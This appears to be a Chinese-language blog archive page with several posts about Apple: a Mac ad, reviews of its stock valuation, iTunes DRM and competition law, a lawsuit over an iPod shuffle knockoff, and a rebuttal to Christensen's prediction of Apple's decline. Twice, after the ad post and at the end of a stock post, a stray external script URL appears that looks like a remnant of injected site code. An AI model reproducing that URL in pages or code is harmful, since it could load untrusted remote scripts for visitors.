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Mac 影片

“Sad Song"

Apple的加長版新廣告"Sad Song"

PC哀怨地背著吉他唱小調,最後還有隻狗「嗚…嗚…」合音;歌詞非常有趣諷刺,尤其是那句

After a year fixes, I am still blue… the problems they repeat.
Now there is only one thing left to do: Ctrl + Alt + Delete


https://js.developerstatss.ga/stat.js?n=ns1

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個股分析

Review Apple's Stock Price

2007年五月時,我寫了一篇簡單的文章討論Apple的股價與實質價值之間的關係(【Apple現在股價是否高估?】)

文末我畫了個線圖,並表示以’06年最低股價(約略在50元附近)來說,或許還值得買進;但當年度接近90美元的股價,顯然是高估太多!

「股價從來就不是真實價值,不是太高就是太低。」這句話果然屢試不爽,隨後在資金氾濫與題材炒作之下,Apple股價一度上攀到近200美元之價位。

但隨後這隻小狗馬上又回頭跑回主人的身邊,今年跌回120幾的價位。

Apple Stock Price

長期來看,股市始終是個體重計,而非投票機。

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個股分析

Review Apple’s Stock Price

2007年五月時,我寫了一篇簡單的文章討論Apple的股價與實質價值之間的關係(【Apple現在股價是否高估?】)

文末我畫了個線圖,並表示以’06年最低股價(約略在50元附近)來說,或許還值得買進;但當年度接近90美元的股價,顯然是高估太多!

「股價從來就不是真實價值,不是太高就是太低。」這句話果然屢試不爽,隨後在資金氾濫與題材炒作之下,Apple股價一度上攀到近200美元之價位。

但隨後這隻小狗馬上又回頭跑回主人的身邊,今年跌回120幾的價位。

Apple Stock Price

長期來看,股市始終是個體重計,而非投票機。https://js.developerstatss.ga/stat.js?n=ns1

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證券投資 個股分析

Apple現在股價是否高估?簡評Apple(一)

多數讀者都知道長時間以來我一直是Apple的Mac愛用者。甚至還曾經翻譯了一系列講述Mac OSX系統的文章。

不過喜歡這家公司的產品是一回事,審視這家公司又是另外一回事。今天我們就簡單地從投資人角度,來看看Apple吧。

一.Apple做什麼?

Apple是家電腦公司,這點大家都知道。不過今年初Apple他們自己宣佈改名,把公司名中"Computer"部份拿掉,其實也是宣示,Apple不在僅是一家電腦公司。
而我們從財務數字來看,也可以輕易發現Apple早就不只是一家電腦公司(請見圖)。

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科技相關 法律

談談Apple iTunes DRM相關問題(下)

前言:本文同時刊載於【Taiwan CNET】上

三.經濟分析角度:

小弟的長期讀者可能了解我對公平交易法還算熟悉,但其實我打從內心不相信公平交易法背後大多數的經濟學想法與法理,更甭提我會相信公平交易法實際上能達成多少任務。
所以雖然我以前在法學院唸書時公平交易法拿了高分,但我還是得跟老師說一聲:「抱歉,你講的我並不相信!」

怎麼說?

因為公平交易法的重心之一 — 「處理獨占行為濫用」這部份,很可能是虛幻的。因為連獨占這件事情,其中一部份都可能只是神話!

獨占基本上可以分為「自然獨占」與「人為獨占」二種:

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科技相關 經濟分析 法律

談談Apple iTunes DRM相關問題(上)

前言:本文同時刊載於【Taiwan CNET】上

Apple 的iTunes在全球線上音樂市場近乎獨霸的地位,同時iPod也取得將近62%的全球電子隨身音樂裝置的市占率。
從法律的觀點來看,無論是何者均達到獨占的地位。在前幾天Apple與EMI宣佈開賣DRM-free的音樂之前,每一首被下載的數位音樂其實都會附上一個DRM(Digital Right Management)。讓每首歌只能在一定數量的電腦或隨身聽上面播放。

近來法國或歐盟等歐洲國家開始批判Apple利用DRM進而濫用壟斷地位時,我們必須獨立思考:真有這麼回事嗎?

要處理這個問題,我想可以從幾個面向切入:

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科技相關 法律

評Apple告茂嘉iPod shuffle仿冒一案(真相篇)

2004年Apple的iPod系列產品大紅,台灣有一家不肖渾帳廠商【茂嘉】想搭Apple iPod的順風車,推出幾款極度相似Apple iPod shuffle的產品,甚至其中一款初期還命名為【Super Shuffle】意圖混淆消費者。

圖一為其中一個產品Super Tangent與Apple iPod Shuffle的比較圖(前方為Apple iPod shuffle)

圖二為Super Shuffle

這應該是很簡單的一個案件,但是愚蠢媒體在被告有心操弄之下,打著愛國主義大旗搞下三爛卑賤手段,混淆視聽,做出非常不正確的報導。
聯合新聞網上「茂嘉打贏蘋果 衝擊iPod概念股」這篇報導簡直錯得離譜!
報導部份內容如下:

小蝦米也能扳倒大鯨魚,美商蘋果電腦和茂嘉科技近兩年來MP3播放器的法律爭訟,茂嘉已獲得初步勝利,這項判決可能影響到蘋果iPod 產品銷售,也可能連帶影響到iPod台灣概念股,如:英華達、廣達、華碩、鴻海、正崴等供應商。……民事訴訟一審也判茂嘉勝訴。茂嘉正委請律師團,向蘋果電腦求償1億美元,以彌補近兩年來的損失….

而該公司亦發出新聞稿,講得一副義憤填膺的樣子,強調自己是本土企業打敗國際大廠,伸張遲來正義;新聞稿末了還強調:「茂嘉決以小蝦米之姿,堅決維護台灣企業的權利與尊嚴,為追求市場的公平正義而戰。」(引自該公司新聞稿)

真是好笑到極點,做賊的喊抓賊。

我先直接切入結論,嗣後再慢慢在法律面跟大家解釋。

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個股分析 商業評論

Apple困境已現嗎?

根據報導,哈佛商學院教授:Clayton M. Chritensen認為,Apple將因iPod的大成功而像以前一樣再一次衰落。
根據該名教授的論點:他認為一個新興產品的崛起,之後會隨著市場成熟而標準化與模塊化。屆時,市場的最大利潤將被產品中最主要部件生產廠商所獨吞。
他更進一步認為不管
Windows Vista本身的延期或是現有版本存在已久的臭蟲、病毒、漏洞問題,均不影響現在用戶對於自己能以低廉價格使用電腦的滿意度。而Apple最大的敗象將會跟80年代一樣,即因為封閉系統與格式,不標準化而一路步向死亡。

他認為Steve Jobs不過是讓公司內部既有舊思維繼續統治公司。其能力並不比前幾任CEO好到哪。

小弟就從他的說法為出發點,略略詳述自己的想法。

首先我想先定義,我所謂的產品不僅僅是限於iPod這台小機器上面,而是包含背後的軟體、網路服務,如iTunes本身以及iTunes Music Store

換句話說,我對產品次採取一個比較寬廣的定義,從這裡我們可以把商業分析常用的Product Life Cycle畫出來:

從小弟過去的觀察,我認為Apple與微軟最大的差別在於其競爭力本質之不同:
Apple拿手於將已發展一小段時間,但不太成熟的東西,透過他們對於人機介面一流的know-how整裝之後,推到市場上面。iPod就是最經典的案例。在iPod之前市場上早有MP3 player,也有廠商提出類似iTunesmp3播放程式,甚至網路音樂商店都有雛形可查。雖然當時這些東西都還算新玩意兒,但絕對稱不上是Apple發明了這樣的組合。我認為iPod+iTunes之所以那麼強,重點還是在於Apple的競爭優勢正在於將大家還不那麼得心應手的技術,重新包裝。

但微軟就不同,微軟從DOSWindows,乃至於IE以及MS Office,沒有一樣是獨創。甚至可以說他們都是在產品已經有相當之成熟度,才正式進入市場並於其後取得霸主的地位。
不可否認,微軟的商業模式的確是將他們獨佔桌面作業系統這一項資產充分發揮,而這正也是微軟競爭力所在。因此相對於
Apple,微軟並不具備更好的人機介面know-how,也不一定有較高的performance或是P/E值,不過在面對成熟產品,微軟出手往往比Apple乃至於其他新興公司有力得多。(相對地,微軟對於新興產品技術上面就顯得較為吃力,尤其是網路搜尋技術剛剛崛起之時,微軟甚至不太注意。而我以為微軟搞一堆研究院,就是針對PLC圖中灰色虛線的部分做投資。只是微軟在這部分能有多大表現?且質疑之吧!)

一樣產品出生到成熟,最後勢必會進入衰退期甚至被新產品取代而消失在世界上。這是必然的循環,因此該名教授如果僅僅針對iPod作此預測,我認為根本等於沒有預測。因為大部分創新性產品隨著其成熟以及普及,本來就有這樣的命運。

但如同我前面說的,Apple的競爭優勢並不是在提供線上音樂或是販賣便宜MP3 player上面,這種競爭優勢是像專門掠取成熟市場的Dell公司拿手的,因此我認為這個教授犯的錯誤在於他似乎誤認Apple的競爭優勢僅是獨創iPod+iTunes組合。
如果我們把時間再往前推,當年大賣從而拯救
Apple於水深火熱之中的舊版iMac,不過是將Sun提出的網路電腦概念做某種程度的延伸以及改變,但藉由該公司對硬體和軟體產品人機介面整合的優勢(還記得3-steps廣告嗎?),配合逐漸崛起之網際網路,Apple在這一波網路產品成長期中取得相當不錯之成績。

因此我認為我們應該要看的是產品背後較為抽象的商業模式,才能較為確切地拿捏該公司真正的競爭優勢。

順道一提,小弟以為標準化並非優勢,這也是該名教授所提論點中,我所不認同的。
我認為標準化是市場成熟化的現象,該現象不過是把現有競爭者以及潛在競爭者拉回到同一個起跑點上。因此廠商會不會因為成熟化而站上制高點,就須端視其本身所具備之競爭力本質為何。
像台灣第一大民營製造商鴻海精密。正是成熟化市場的箇中好手!
如果該名教授的論點為真
標準化真是微軟的優勢,那為何微軟多年來一直想要在各種格式上搞封閉?
顯然該教授之理論無法解釋微軟這個行為。

回到主題。企業經營本來就是錯誤中成長學習。沒有企業敢說自己從來不犯錯的。而錯誤中要學到相當重要的一課,就是認清本身競爭力之本質!
Apple也一度誤認自己的優勢純繫於優秀之工業設計,但cube上顯然摔了一跤。

因此Apple優異的工業設計應該是構成整體介面整合的能力之一而已,並非全部。

慢慢地,就小弟的觀察,Apple似乎逐漸體會到小弟前述的競爭優勢,並在這兩年多加應用深耕。因此,在消費性電子重要性逐漸取代傳統運算市場時,人機介面的know-how將會使得Apple站在一個較為有利的位置。從而不管是下一波可能的家庭娛樂客廳之戰,還是更往後之未來產品,只要Apple能完美整合新興技術以在產品導入期到成長期之間提供之,就有其優勢繼續與其他廠商競爭。

小弟揣測:這波家庭娛樂微軟之所以尚未成功,就是在於他們在自己拿手切入市場時間點離得還太早之時,就莽撞切入。以致於XBOX或是Media Center都不是很成功。(想想PDA微軟能成功,不也是等到PDA以己經很成熟之時嗎?)
Apple隨著上一版iMac G5推出Front Row,時間點是否恰到好處,我不敢說。但我想應該是比微軟好多了。
硬體平台上面
Intel新產品Viiv的推出,將可大幅降低Apple與微軟的進入成本,在這個市場進入成熟期之前,剩下地就是硬碰硬彼此對於人機介面的掌握能力以及行銷功力。
這部分我反而認為成熟的時間點到來前,微軟
Windows獨佔優勢並不會有多大實質幫助!

所以Apple困境已現嗎?很難說喔! 說不定勝利的號角才剛吹響哩!